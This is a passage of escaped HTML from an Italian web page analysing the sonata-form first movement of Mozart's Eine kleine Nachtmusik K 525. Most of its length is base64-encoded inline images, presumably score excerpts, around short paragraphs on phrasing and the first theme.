KsCAEAVCAMAACgQBgAAUDDHcD54TBKsEYN9EjCIhMnn68BjkmCNGOyTgEEkCMN14DFJsEYM9kloNkjqhzo8O9gV1WDWQQ54JQEAtCNk4DkcsRa5Xof00uklIAwAAD5yofIh\/YSWDspa0oUwAACkiDXI2dEIeg3zMNzHQONKZrGyWZ7ZIBttazW1vny7P17150OM+V5DGRAGAABFtlNqIAximEn9HrfB0Pss6dmKd\/pbDga9Hndrtz733jFvKygDk8\/ng8ckwRox2CeheRO9gjBkB7R5Ad7xzqx\/CVrH\/VTu9jplvkEY8Eq6DjwmCdaIwT4JzWc+rywMpbMc5D56cjyqeD7EB4ThV+ExSbBGDPZJqOsxbCMMaoipdPRC1YlAu\/QYAABADujIeYT3dGmGMKgTFtw5himpUZ\/qzocY\/2byGQBgA6YBnfswLOsxeCd12p5F0htqDF51PsT3dtxVAQA6Zuc10ixw+2UYNZZgjRjsk7CrQfYUhllbYngw+Xw+eEwSrBGDfRIwiASvpOvAY5JgjRjsk4BBJAjDdeAxSbBGDPZJwCCSWmEwyQOYtywPFt+7bjDKRbkoF+X6zXKZGZAw+QwAAAqEAQAAFAgDAAAomHwGAPhRquYYEAYAgN8BYQAAAAVeSQAAUAXCAAAACoaSAAB+FOYYAABAgTAAAICCyWcAAKgCYQAAAAXCAAAACuYYAAB+FCafYVVmHGa76pm0sD48oN8DYYCc53CTtLQJzcLwetxpdA6i\/mE9h93OrocewCsJNNnn4etxb2gTWoXhOSALh9HysHhQ8EYYfpW4qXg97t9ehA6kuxif\/4nQ2Q3ixqm5+Uv8McUlWiIr6Si8nWuZCyPG1+N+uw\/Dfbw6hhFFkil+E1TXPxddY9mZb4+qsVyZoeznEz1jlOHnQRh+knBc5zlMzZf8rcTEUZbX426127qx+WuTxgsiDTtpP7xOQmZONLUqz1NT+bn8HG7qt2hLZU7+QiQ58eLPLLIgquZyGYbKHlaUbcb8AGH4UYKXP2lEVAuVffXbH8g1wpAkcX+8\/KS98GkSecLJkPl3tEzGYP6uzIkXf2qQJVHNLVdQnEK26TIAk8+\/SZswhI3O9w\/BisJQTFonkg6OJLPr38zNEQavhbXin2HPIKp55ZqfbYThh8ArCST+HEPUYzBb5\/z6IT0GswiOk02rMLhjMhVOPJtEVVGuoDiFtBCGHwJhAI3vleTNMaTzDVaj48wxWJPPVkPvzzFUDCVN16aGLw37ej6bh5JEmeLB+jF+ydKo5pbrnQhJ+qzdbKMLvwTuqpBjOhm91dCQarum8PdhmJoWOdYxDPYglWxuKkelvIlup8cgC5M2gkkhq4TBGmexkjbi9\/89I6qZ5dJJTIFlWa1sowvwRhhgL07l7FIcrTokqh1ggRu832+EAfbjRDsu\/KYwnOgBwcYwxwAA8KMw+QwAAAqEAQAAFAgDAAAocFcFAIAqEAYAAFAgDAAAoGCOAQDgR2HyGQAAFAgDAAAoEAYAAFAgDAAAoEAYAABAUSsMI+b14MoqweJ71w1GuSgX5aJcP16uJDMjrGMAAAAFwgAAAAqEAQAAFAgDAAAoEAYAAFAgDAAAoEAYAABAgTAAAIACYQAAAAXCAAAACoQBAAAU\/wFqwka4zfnmqgAAAABJRU5ErkJggg==\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">Un aspetto degno di nota \u00e8 il fraseggiare dei Classici, costituito da elementi non a caso denominati di <i>domanda<\/i> e di <i>risposta<\/i>. Anche qui l\u2019origine discorsiva \u00e8 manifesta, ma va comunque sottolineato che questi richiami al discorso parlato sono di carattere squisitamente formale: ogni considerazione di ordine semantico sarebbe fuori luogo. La Forma-Sonata \u00e8 quindi quel sistema di aggregazione della materia sonora pi\u00f9 vicino all\u2019uomo nei suoi processi logico-deduttivi, e si comprende come una cos\u00ec alta creazione non possa essere il frutto di una sola generazione di musicisti. Alla sua elaborazione ha infatti contribuito non solo tutta la creazione formale precedente (Aria col da capo, Suite, ecc.), ma anche un vasto movimento di pensiero culminante nell\u2019Illuminismo.<\/p>\n<p style=\"text-align: justify;\">Il primo movimento della <i>Eine kleine Nachtmusik<\/i><em> K 525 <\/em>di Wolfgang Amadeus Mozart \u00e8 un Allegro in forma di sonata (137 battute). La tonalit\u00e0 d&#8217;imposto \u00e8 il SOLmaggiore.<\/p>\n<p style=\"text-align: justify;\">La Prima Parte comincia subito dal Primo Tema (non \u00e8 presente un\u2019Introduzione), formato da un periodo di tre Frasi (di cui l\u2019ultima ripetuta), che presenta una prima Frase binaria ritmicamente molto scandita, con tutta l\u2019orchestra all\u2019unisono<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAABE0AAADeCAIAAABHQGmIAAAd6ElEQVR4nO3d3dbjqI6A4dz\/TacPvrXSKcfGQugP+X2OZqpihATGovdM79cbAAAAAHp5ZU8AAAAAAIxxzwEAAADQTfN7zuv1er2a5wgAAADgoPkdQHHPeV2Y\/Q0AAACALM1bc\/UNRHKH4Z4DAAAA1NS5NV+5gXDPAQAAAPbVuTVfuYRwzwEAAAD21bY1X7yEcM8BAAAA9tW2Nf+9hEzdQ7jnAAAAAPvq2ZqfXnK45wAAAAAP0bM1554DAAAAPFnD1vzqkjN1FfG457hOZpZkNC5yAAAA2FTDzvXTkde55\/z+Rjil05+d5nU1uHAEqwkDAAAAFTTsWT+9+G27fzvI+CnhyJKbhmQOg7in41z97dSDkj8HAAAAqunWsEquBPJxxk\/N\/mb8uPpvp1I4LchLfAGTxAUAAADSdetWx127vEeXPDL7m\/Hjhn87mN7r4j\/VkUxYGBcAAABI16pVlVwJhA265JHb36j\/dnZk4fSuoggnLPkBAAAAUEGrVlV4JZA06LqLxPgH8sdnRxZO7zbx2THHowEAAABZ+rSqU+3+bMcvHHlqhMEPVp6d+o33mAAAAECKPn3qoO3+7c4Dmv7ToGPy6OvT80gZAAAAKKJJnzp\/p7jp0deb\/sUrwfjZ9el5pAwAAAAU0aRP\/e2\/JaYGnP3N4pVg\/Kxk5NkJrKcMAAAAFNGkT1XcW8aPrDf961eCq8cNU5j9\/XpSAAAAQIAOfaqw4f7t0RcvCePfTIWTTPt0ZMmDwujrKQMAAABFdOhThQ336cXj6sH1pl8eS0Ix1Owj6ykDAAAARWzfp8q77dOLx9Wz602\/PJZVgooUxo8ofgAAAABUsH2rOtVwR95zpsL9\/fjqcWF2ihTGjyh+AAAAAFSwd6s623CfXjx0dxjJb4Sx3he3tcXrhDD04BHFDwAAAIAK9m5VZxvu04uH7g6j\/s3hl1fPrt8oJNMbPzX7twAAAEARu3ar6038+HHJ+MI5DIJODT71+NUIs1WS\/DkAAABQzZYNq9+dQTi47QQUOY7HUYQbRL\/6EwAAAKAsetY4U1eOlXtOyoQBYCDm1AIA4IPPTF0VrjoAsIKDCwCQhQ9MadxzAGyKswsAkIuvS1Hyzz+9AoBSZv8BDccXAMADn5aKZj\/8NAoAitBdcji+AADm+LRUpLvnuE4JAG6pLzmcYAAAc3xaKpr69tMiAKhg5ZLDIQYAMMenpSjJ55\/+AEAd3HMAAKXwaamOtgBAfVxyTFCcddSwGlYEidhqAIBV3HNWUKJ11LAaVgQVsMkAAKskPQ29zi8KtY4aVsOKoA52GABg1VRnQ5fz5r9lyAI1rIYVQTVsLwDAKpqbKbp28OFFO6CG1bAiKIjtBQBYRWcjp24HH163b9SwGlYENbG9AACr\/poVeppbK+0g1ftDDathRVAW2wsAMGGxp3lI60OV1lHDalgRbIf9BACPNttq0OtIUKV11LAaVgTbqbKf2NkAEMm24eAMl6D\/W0cNq2FFUFmJHcZ2B4AwHl0IB7gE7eA6algNK4LK8jcZmx4AYvj1Ipzet2gHTVDDUtjVKC55n7HvASCGazvC6X2LXtAENSyFXY3iyt1zeAEAwJyuHZGfyRzdt17if\/U2X8MBj90LNXY1isvccLwDABBgtjVUnMkc3bc+JaIXXPHiv6mpEnY1ikvbdrwMABBD0oIsHsic27cOJeLbp\/NdJWqYjl2N4rjnAEBn4uvM0mnMuX2LEpl87iljqa6pyHKUqomVlknFyymZ4ccVADAgOW\/Xj2IO7VuPLZHtF58ympTRcFbxQb+jF6zJopZJJapyz\/n924AJuIYAgAokX831rykn6q0Hlshjs1FGq3fWam7BET9xy9ZErWVS6XJu\/+OlClhFdgmAh5j6dqq\/o5yotx5VIr8tRxlt39z1GUaGe+9QE4WWSRVR8Z7ztruHXI3DFgHwEDGfT07UW88pka5pE9aHMnq8vyuTDA5XvyazWiZVR\/I95\/ZnJrGcBgeA+mK+nZyotx5SInXTJqwPZXR6hdXzjIy1RU2mtEyqlMz\/wFHyS5NwToMDQH2vkP++EU7UW08o0UrTJqwPZXR9kRVTDQu0S03kWiZVDfccAGhi8atZSnYtV\/WuUkx2MbJqGFbG7SYcwLAmdeoWnNQuqt9zFlfuaoSn7QleiXXUcCOdFmsql+FHcDORRfbQu0ox2cXIqmFYGbebcADDmtSpW3BSu0hbbMNf3g4i\/\/NmeDHWUcONdFosw1xist6otlnal0iyaXfZz4liymg425goG9VEqGVSBaX9izLkP16POP7zltuFt2UdNdxIp8UyzyUm5fqFTde+RFNbV\/1WUkaTMhrONibKRjURaplUQY++57TcMbwz66jhRjotllMuMfmWrWod7Uuk28CzZeldRnUNs8oSdrxsVBOhlkkVlHPPMf\/xeJDfMbtuGl6bddRwI50Wyy+XmHxrVrWU9iWKeRN7l9HpEHCdcEyUjWoi1DKpgh5xz3nI1lG8M80qsI4abqTTYrnmEpNvwapW075EMa9h7zK+xP8W+MUy2k44IMpGNRFqmVRBne85j9o9sy9Mvwqso4Yb6bRY3rnE5FutqgW1L9FL3KOvR+nqk513Ga1EHi+71ESoZVIFFb3nLK6xZN8020OzKferwDpquJFOi+WdS0y+1apaUPsSfSfo9971LuMhuy2Or+Ao9Wsi1DKpghLuOfJfqhd71BR03EbyfBsXYRE13EinxQrIJSblaoUtqH2J2GnrtsvusYu+\/nEpmFRLcVWW74P1psSwRdjCVGPUuA4rqOFGOi1WQC4xKVcrbEHtSxSzIXuXUZ5dkTo87Xgx\/MTUSaq3Z91zDj9QjFyTsCVaeSHbo4Yb6bRYAbnEZF2wttW0L5EwwcU3sXcZp97rCqV4zvFifjhXSOoJyt1z1N\/ywSBXP1CMXNDUu7de266o4UbaLJY6kalcYhIvWN5q2pdInuBKKXqXseCrXWEOuZk6HdEVlu8Jat1zFj\/n3+N8D3gVSDFyQU5v4NNQw420WSxFIopcYtIvW+Q62pdInuDKW9m7jFPZVTjc2h8vulNaMuH0tXuInvecw4DyP9\/RS\/yvJjQpaVfmRxj8tFmsV8jLG1OBynUuon2JphJUV6N3GWezS69G7+Nl9lszdVanr91DFLrnGH7XD2PK\/3xHn0RMXrzHeok7zuyZos9ixby8MXWoX+107Us0laB6V\/cu42x26Qdd4+NFciyvnNi9d3IdVe45Hl\/398PuOZ\/\/1baGD\/FdJWpYXJvFinl5YwqyUdmztC\/RbIK6gvQuoyK73II0Pl4GfamEZPyALDDxTxMBAAAAYA+hl6qziK7TuxokPnc\/bRLJRRn9mL9ubRYrJpFOUYLZbt2WJfo2m6CuvL3LqCvI1FM77ur4Rdd31eLy9t7JFdhcJBQhz+exsFdmIw7+fEdtEslFGf2Yv25tFqtTi9BmUb7t2BEmmk1QV97eZdQVZOqpHXd1\/KJrLjeTjWvvnVyBzUVCEfJkEmt7ZSri75\/vvtV2n38RlNGP+VHTZrE6tQhtFuXbjh1hIkWCMY9sRJfd1FM77uqUZlVnKopfCnhXuOcYbhdhxKvQ64ES7T7\/IiijH\/O3rM1idWoR2izKN9ut27JE3xQJKircu4y67KbKuOOuTmlWZymieEweHwkt\/ieix44ZR\/z+X51iZdl9\/kVQRj\/mb1mbxYpJpFOUYLZbt2WJvulavdmnepdRl91UGXfc1fHN6nvytqOOAj85Lb7rplGHM4mVZff5F0EZ\/Zi\/ZW0WKyaRTlHGEzCfg+2Y6SXypkhQUeHeZVR3zPIHd9zVwYv+CefaQPbeyR+JbXZOix958RDG2n2r7T7\/IiijH\/O3rM1ixSTSKcrtHMx3muGAFUrkajZB3Se4dxkV2c2WccddHbzoh3BOfWPvnfwtq9NOaPHDbh3CQIYRE+0+\/3Uma0oZ\/V4N87esyGKtVywmkU5RbpnvNMMBi5TIj2L\/l31rsug+XlNl3HFXBy96y6SuxHTFKclGt\/inpXSqb2SsdD2yULBdX8ro95qYv2u5i2VYsZhEOkW5ZbvZzEezGqqm2QR1J0zvMiqyUxw72+3q4EVvmdRvdO9P\/284wwHlQYOiSgpqOJ\/IWOnaJCIn307y4lBGv5fF\/HXLWizzisUk0imKhOF+s926dUrkZDZB3fHSu4yK7BQfu+12dfCit0zqO27Mp\/80ruGAwohBaxlc0Nvx48vtp00iElPv59S+oowmZRyEs52\/4WjCiB4Vi0mkUxQhq8nYbt1SJfIwlaD6YOldxtnsFGXccVcHL3rLpN7hn\/7TCRiOJglnnMAoTHgpxyPH5B6jTSK3dK+osD6U0aSMg4i2KRiOJgnnVLGYRDpFEbLacrZbt1SJPEwlqD5YepdxNjtFGXfc1fFnfpso3+GcPmSzczAcUBLON15KHd9fu+dq8OBau2qTyJj6FRXWhzL6vaTmr1vkYrlWLCaRTlHkTHad7datViJz8gRXDpbeZZzKTlfGHXd18KL3S8r1Q6aYie2Y41hewRKL+DsN+Z\/vqE0iAyuvqLA+lNGkjIO4tokYjjYO5FqxmEQ6RZFb37fvPTvCRPIEV1andxmnstOVccddHbzozZLy\/pDpJmM77CiW7+jhFTydhvzPd9QmkYGAt5QympRxENc2EcPRxoFcKxaTSKcocuv79r1nR5hImODiqdK7jPLs1GXccVcHL3qzpLw\/ZLrJ2A47inUIDAAAAADb87o\/ZYS+moz8zxcDZeUYECXRwu6eWALKaFLGQWirRN6B\/7DNu2JhibSJImeygW23brUSmbtN0ORI6V1GSXaLZdxxVwcveqekAj5kK\/MxH\/8klsugGbUbzEf+57rxT1OLXEjX8dPJN9XKNqOMJmUchDbJ4jOg4WiDKN4VC0ukTRQ5k21su3WrlcjcIEHDI6V3GcfZmZRxx10dvOidkgr4kC3OxyPKP7HsRxQULmzLXuW4nrtkqWLWMqyY4zn4ZSrcV5IVGUexnfasmjU0mYl5RgGLFVOxgESaRRGy2sm2W7dCiczf7sPgAUHTy5hSQ8O4O+7q4EXvlJT0u2VxYOom4xHon3DGw8kK553bYVZOw47XKXLfeAw7NQHXTIVbazF6bhkL1tBwAh7pGI52FSKgYgGJNIsiZLhAti+C1VDqCfi95u+LBM0j5pYxpYancVdCbLergxe9U1JXh+FA\/GR8w1mOJS6cdyldAwlXKGwtYyo5iO6dqWR3rYdOLGNMDQeBYlbQdkDD0QYhvCsWs+s6RZEwXCbbrZtbopg3\/TaoR5QwKTU8jbsYYrtdHbzonZIan4eum3lqJo4RzQaaTCB41xoSZhe2lrmVnE1TMduXuONcTGTl8cXQMTUcxPLeorbDBixWTMVidl2nKLdsV8p26+aWaLYmunKNwymnvjwxK8E1vIqomfrPmIuDfI9mNVR6lOBwkVGG56Ll6zmYRnxos9F1tQvetVbk2YUtZ24l5Wmq03\/x7fz3l7oQtxGVs5dFtx0\/YLFiKhaz6zpFuXX1NqlfHMO8cksUds4Y1n8QJUVYDadiKUJstxzBi94pqVdIByWZhvfJcBnUZpT5BCLra0WRYMCKSsb0m4kwzZWgMfskcTe2qeEguu0EAtLptOs6Rbmdw4B6QMPpWQ2lix5wzhgWfxDFcLTZ0Ik1tEp8x10dvOidkso9dj5ziDkczuMaDKGavXd6HqZyDFvO2TmYT2kwpkks4YOLueTuxiI1nPrlVHTbYQMWK2Y\/EMV2AuYHne3WLViiq7+yGt\/83X9nlzGrhrb7cLtdHbzonZIqeOz4HQ7noQ2G0M4+vfqzZnOMWc7TkcdL4zGx25HVgYQPLuZSYTem1\/Bt\/Ql0GjNgsWL2A1EMo3sccbZbt8Ih83Y+ZwyLP4hiPqZiDpE1ND8\/t9vVwYveKamWJ\/Nc9NXnF2Zf4bSSS1kkid\/jVSFgkuoo8gcX97P62RgxNZz9sXBA2zFjdqx3CKLYRvc432y3bv1D5r18zgR8XOqX0byG5ufndrs6eNE7JdXyZJ6Lvvr8wtTrn1bfUhZJ4nsa4y2Vu9sCnl3JpchqDsTU8O1zLTEf0HC0rBBEMZ+A+eFmu3XTSySxeM4EfFnql9G2hub57rirgxe9U1Lp70tW2\/l\/6KWH16YelqqJrHW69ZnGYFFuec9wJcTspgqIEi+yhorf345mPqDhaFkhiOIxB9vDzXbrVijR2Po5E\/BZKV5G2xp6JLvjrg5e9E5JVXhf4tvOf+IuPbw277BUTWSt062\/aVytiFDADGMeV6dTZDWvRNbw7fAhtC1vwGLF7AeimM\/B9mQzfxGshnKyfs4EfFaKl9G2hh7J7rirgxe9U1IV3pfgnvMYV\/\/kGcVQvwMqphTAJF8PpzWc5Tq9xfFnH1fvasVTMeJrqHtkMJRteQMWK2Y\/EMWc7clmu3WLlOiKyTkT803xG3yRbQ2dMt1xVwcveqekirwvYT3nSdDTGQAAAADAxpTXI+04ATN0UnZuipJGZrE+\/uwIuqSKrOap+Bq+Tf+Zn\/k2C1ismP3QKUopVodbnXM+gFW5nlOxX4Y19Cuj7eAtD7FOSZV6H4OPCGUwda8sabgHVDlaqjmrd+3CmoSYHUEXtMhq\/kqpoVVc86E+AxqOlhWiWZRqrF6ch1TPsFwPqdgv2xr6ldF28JaHWKekqr2PkUeE8kXS9cq33baEKk0zBaf0p3JJTaIoRoh5JEZWDdVPnY5jW96YresdolmUgtY3Xp1z3pvVOfOQcp0yrKFrGW3Hb3mIdUqq4CsZdlAo3yVFuzzVeY9pk7VRcEpXs6pQSatAikEUoSss5a\/EGtpGty1vwGKFvSNtohS0vvGKHPLeyr7pG7GtoWsZbcdveYh1SqrgKxnchWr+L4KmOmZh2y23kPKqavP5zOpqbrk1tIqlGEQRusJS\/kqsoW102\/IGLFbMfugUpabFvVfkkPeWe870UPa09A7R8hDrlFTNtzLmaNW0vLNNs6Th\/h3k9pEs1ebzmdXnf5AUPGxWVuEU4yiiV1jKg9waGk7AfO8FLFbMfugUpQjJJ2Z2NNMJlpN+zjRgW0PvMtqGaHmIdUqqyFtpezLPBdU8I26dT39\/eORqkKtnc9es2nzeP5u4yAwN46p3qWuUAIk1fGvLOBhqfZzvAQ1HywrRLEoFg6+GrggVTnhvuedMD7Y19C6jbYiWh1inpCq8leYn81xczTOy+cnzGYwTXJRbK\/NxmnyFTXxgu1LqXeoaxVtuDW0nYL7zAxYrZj90ipLu9HBe\/Hakf3G8Vfiq7m67GtrOtuUh1imp9J3pcTLPhV6crsmPB38bXBQJ9Xycpp2+iX\/lHqO6TVKtjLk1fHPPafQFqra3PVx9KRa\/HemfG2\/tEwywXQ3TPy5lowSH6xRlEN3jZJ6Lvjhj+Y9vfykPmn6mKObjN+f0ahyYr5F6l7pGcZVeQ9s5mL+zAYsVsx86Rcl1+plY\/3ZU+Nz4KfI93dqONUz\/uJSNEhyuU5RBdI+TeS764ozlP779pVXcGLOlcJ2J3+AK5gs0NZp6h5QqY24N39Yf7\/R0aoZoFiXR5ZfzwuzIfjPP1Tu7GDvW0HbOLQ+xTkkl7k+\/k3luAouTFv5YMrJV3DCSWQXMtkg1PsxTnhpNvUNKlTG3hm\/uOb2+QKX2tofZr6a8IHU+Nx56ZxdjxxrazrnlIdYpqcT96Xcyz01A84xguocfS0a2ihvsaiHDplqzGrZjzkZXTKBOGXNr+F4r42BAk6E+AxqOlhWiWZREfgdvtc+NoYIf0+1sWkPbObc8xDollbg\/U1rikwkoHxPMeCqxqdEKHiuJy1mqGh6JywdcqXydMubW8O3w8TbPKGCxOn2B6uxtJ35nb83PjYnGqYXZtIbm74jVUOlRgsN1inIVOrd1V0aVT3oqt6nRdjxZ\/NSphtPqCAdc3B5Fyphbw\/dyGQdjWo325p5TMkoiv69p188NX9J1+9bQ\/B2xGio9SnC4TlGuQue27v9E\/Z0NAAAAAOxKf0MSjDAVRTiUetpdta\/GbYJsjFuSyviV0XzMgIWO2UudouRy+kBwqqAfj3cEOlarMF6ggCiD6MH5nkTXPymY91R645\/lFquy9tVgV6yTv6ceZTQfNmCtO32BHvJqeOxhDhb04\/GOQMdqFcYLFBBlPIHIfE9CLz0sGEGe3vhniZUqrn1BrhKMPy\/2JXyznMpoPnLAcnf6Aj3n7TDfyZwt6Md2V4+6eNyxWoXxAgVEuZ1DZMrHuKvPCwaZ+tltrAprVkr7gpwmmHJe7Ev4ZjmV0XzkgOXu9AV61Nthu5M5W9CP7a4+798hY7UK4wUKiHIrMuVj0NXnxYNIfnn1g+BtsZf2NflNMOWw2NppicLKaD54wIp3+gI97QUx3M8cL+jHdlff9\/K4ZrUK4wUKiCIRmfU\/EQ2GmBln\/OPTvwreE9tpX5bvBLNOit0dqhRcRvPxAxa90xfoge+I1a7mhEE\/trt61MXjjtUqjBcoIIpQZOJvk3vO2\/oScjpO8J7YTvuy\/CWYeEw08ClUShnNQwSse6cv0GNfk\/WNxyGDfmx39XUPj3tWqzBeoIAoUyJzt4lkuGa\/gwRviB21r0zuGdFD7lFrHiVmzt4hmkVpiXMG\/bCrH+XJa23Z4lj1TIcR6Ggl2heHS8663Lsi95wnRGmJowb9sKsf5clrbd\/lWF11DqM9eZEk2teHS8663Lsi95wnRGmJ0wb9sKsf5clr7dLorLdQtLOz2leJe8467jkFQzSL0hKnDfphVz\/Kk9fasdFZaaToZWe1LxSXnHW5d0XuOU+I0hIHDvphVz\/Kk9favdeZaqpoZNXal4u9sS73rsg95wlRWuLMQT\/s6kd58lrHtTun\/yz51Of3AbNqo325uOes455TMESzKC1x5qAfdvWjPHmtk7vGQXRewinta8UlZ13uXZF7zhOitMSxg37Y1Y\/y5LU+\/kcoAAAAANBE7mXrVNmJ1TSo1aYb4GCjqZa114rfsjv\/niJ7xQAACTj\/K+bPh3nKaa069UC7zLOyjZZbYrXrf57sFQMAJOD8L5o\/CyN3qFW\/Nqj+DOvbYqHlVrv+58leMQBAAs7\/ovnzbZb7LlTLNqj+DOvbYqHl9P3+U2WvGAAgAed\/0fz5Nsu9LP5lErkpjBWf3hbqr\/KUpZb\/kbJXDACQgPO\/yn9P6OmzThNr5q9Qjdug4tPbQv1VnrK42x8oe8UAAAk4\/13yX\/\/c8m2We3HPwZ36qzxlcbc\/UPaKAQAScP7b52\/1xWVthOiBAAAAgAPjHtewsab\/FuKeAwAAAByUvufQgktwyQEAAAAOLNtc2\/aaLlyISw4AAABwwD1ne9xwAAAAgIPS9xzDuTX2mv\/3rWVPGQAAAPDFPWd7n0JxwwEAAAD+FL3n0JTLHQrF9QYAAADgnrM9CgUAAAAcVPz3SnPJmUKtAAAAgINy9xzhXQgf1AoAAAA4SLjnSEawnVVvlAsAAAA4sG+RF284dO2zqBgAAABw4NIiz95w3lxyFlA0AAAA4MCrReY\/xglD6QAAAIAD3xZZ8v+uQ5u+iAICAAAABxEtMtcbV1QSAAAAOKBF3h73HAAAAOCAFnl73HMAAACAA1rk7XHPAQAAAA5okbfHPQcAAAA4oEXeHvccAAAA4IAWeXvccwAAAIADWuTtcc8BAAAADmiRt8c9BwAAADigRd4e9xwAAADggBZ5e9xzAAAAgANa5O1xzwEAAAAOaJG3xz0HAAAAOKBF3h73HAAAAOCAFnl73HMAAACAA1rk7XHPAQAAAA5okbfHPQcAAAA4oEXeHvccAAAA4IAWeXvccwAAAIADWuTtcc8BAAAADmiRt8c9BwAAADigRd4e9xwAAADggBZ5e9xzAAAAgANa5O1xzwEAAAAOaJG3xz0HAAAAOKBF3h73HAAAAOCAFnl73HMAAACAA1rk7XHPAQAAAA5okQEAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDfccwAAAAB0wz0HAAAAQDf\/Abd3QxTkxSHFAAAAAElFTkSuQmCC\" alt=\"\" width=\"305\" height=\"57\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-1\u00b0-Tema-frase-I.mp3\">EkN 1\u00b0 Tema, frase I<\/a><\/p>\n<p style=\"text-align: justify;\">cui segue una seconda Frase ancora binaria, ma con estensione della prima semifrase; questa seconda Frase ha carattere pi\u00f9 grazioso della prima (impiego dei trilli ai primi vl.) e conclude con una cadenza al I\u00b0 in primo rivolto (b. 10)<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" 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Cb7UdkwTPiZZPm0xfNyp74txqbW5paS+hr7dXHd6vt9rZs83k+7daq9hv6z8lVGcyafI0bpP8jtCXQ0Q3xrMKCispNrpj9XwyKTPJMyeNhFVM+rmEOfeD8h8uB\/mOKT\/1bnOYchYvnVslbTJx3chsdeZaB9L29oS2x01jX+Sr4NpoU2iTieuGc6udc9uAtrebtd1n9uIyyawCV+L2d3oa5R\/4+afT+3CVZ0RiE4tN6Fsln0zKTPLMSSPnsYpeYhtH3A+mnX3dCSRnFZdbWvKfK8qjybcpotUOaznIT\/4hHZJF295E27HPsN2io\/2J2d26Vtq1HitsnJZzbhHyk39wfl7wmb2gTJKrwJWg\/fVJ489P3v7uxCbc5i\/PbWKxCa2r5JNJmUmeOWnkPFnRS2xj5\/vBKcdfXwKZWcXllpn\/56IR0YQbFNFqh7UcTMn\/IR2SFdveStux+lD1q2ij\/YzZ3b0m2oUe9hun5ZxbhCn5Pzg\/f\/GZvaBMkqvAlaD9dUuj6Rcf1f\/SQlV+R+bCzlSuElGaPGYfn0zKTPJMm\/wNltiG6f3g4CElP0\/7tKaRk1Vcbpn5fy4aF02yLxGtdljLwZT8H9IhWbHtrbQdKwTpHnVttJ8xWwvso13oYb9xWs65RZiS\/4Pz8xef2QvKJLkKXAnaX7c0mn7r849Cq66R0JnyWqGlxQVv4pNJmUmeOWkkrGLSzyVMOPXqf7L7tBKepN0aj\/S8xOJyyyzhc1HbaM+tLwclQQajqVZvol0oLe3PFYUbV7miPOCI0GhXYbUdKCxqG+155GuxaTlt8q2\/1b16E+1CaWl\/rijcuELMepK6QjOJKyS6IT4klXbuq7qxOWnU\/6KwtEEJnZlYrFWfZ6dQxSTPnDQSVjHp5xLyOlV\/fvW9CQoRRk7SbgmnvFtumSV8Lmob7bnj\/aA27cFo3euO0C6UmbZw41qXlgccERrtKqy2A4VFbaM9j3wtdqyizbn+1+vXHaFdKDNt4cZ1BI9YNy0TeRXygLa0ldZES2ipSRqf+chj9knozMRirfo8O4UqJnnmpJGwikk\/l3DW\/eCfH+iIPJiA8Ij3zC2nhD8r2kZ7jnU7baHKtbQBVdGaSpDQrpWQuXbj+hLQRhsRGu0quLD82xVtoz0Tz8PMxCpz0wZURWsqQUK7VkLm2o0bX0KyojyNcibCKlQp+ZNX2hQwtJkmaXzmExG2Vc4GTSzWpM9Pp0zKTPLMSSNhFZN+LsHuflDyMriNEPea+ZlAxBG\/ZW4dtFnJa0xrdei2asMGJZlGm0xoaSatlnesW3S06eStFkZ7Jp6HaYnV5KYNG5RkGm0yoaWltbpvIXnt3WnUZDJeQlBihpK3IL+NJml85hMUuUnOBk0s1qTPT6dMykzyzEkjYRWTfi7B635Q9T54\/9ZVhNA3zdP7c4xzbh20uckrTWt13Lb2Rb4Kro02hTaZuNJ8Wi3vmLAokxapyFstjPZMPA8TEqvMrS\/yVXBttCm0ycSVltlqkw2NrnekhL7cghoVKq5SnwaapPGZT2j8SjkbNLFYkz4\/nTIpM8kzJ42EVUz6uYQ97wf\/BKz\/5yqv4KFH\/Ja5ddCmJy+2qc8jqwdta2v+5fjaaLNokwkqzarVER1TVaSNNl1Eq7UBPVsdNAat9Zbja6PNok0mqLTkVpvs5sP1MGztT36GKqGVPmz2V17aeD7RS9TI2aCJxZr0+emUSZlJnjlpnPOkL8HofjDixXAVIfqV8w7u8OZbKLcO2iTlJT+q3\/eShbRr1YSqX0UbbSJtMhGlubU6qGOSWrTRpgtqtTagYasjxqAmVP0q2mgTaZOJKC2\/1Q+P5+JheRiO7EVmnuOiK33Y7O\/DY+D\/5DNdzgZNLNakz0+nTMpM8sxJI2EVk34uweV+MOj1cBUh+sXzJ\/jE195auXXQZiuv\/TNgaKsjtrXwVNYIjTaRNpmI0txaHdqxwRK00aYzH85H1nk4kpgqt8bH7mY5bbSJtMlElJbf6ofHc\/GwPAzzt2OW6EofNvv78Bj4n\/lMlLNBE4s16fPTKZMykzxz0khYxaSfS2j4lxUAAAAAAAAAdpN6GflrxdD0roJE157c2CbOuXXQliNvjjBgeWgjMhceLNpoc2nz8dw4bdudO+Y2XYPMm6MdKtsRfXJ+XtPm47ZxffmY7JFJGp\/y90KenjDU4CoJDankk8mLST45aUhW6Xu+TPr8dMqkzCTPhSZz+hIbSHp9fi\/5O4+xN2vTioV\/ruI8gs65ddCWI2+OMGB5aOV9GBEabTp5q4XRnmPd\/hNEmJIqlHm06cybox0q5xGVPIYR0aaTt1oY7cn9oJP8jQjKLbrY+pwHKlbyyeTFJJ+cNCSr9D1iJn1+OmVSZpLnQpM5fYkNZLxBfy75I4mxd17Tit\/\/PKIJziPonFsHbTny5ggDlh8KeR+6RUebzn\/kxlutbb5zxzxnrJt5c7RD5TyikscwItp0\/iPa3erunpvslEkab56TH5RPQqWhbWnik8mLST45aUhW6XvKTPr8dMqkzCTPhSZz+hIbCH+JXi35NwPFa69yxaulxxf6ji+PqeKcWwdtOfLmCAOWZ1Xehw450abzH7nxVmu3wLljzpPWwbw52qFyHlHhiaeNNp3\/iHa3urvzJvtlksab4eT3pVSTVUKl0c2p55PJi0k+O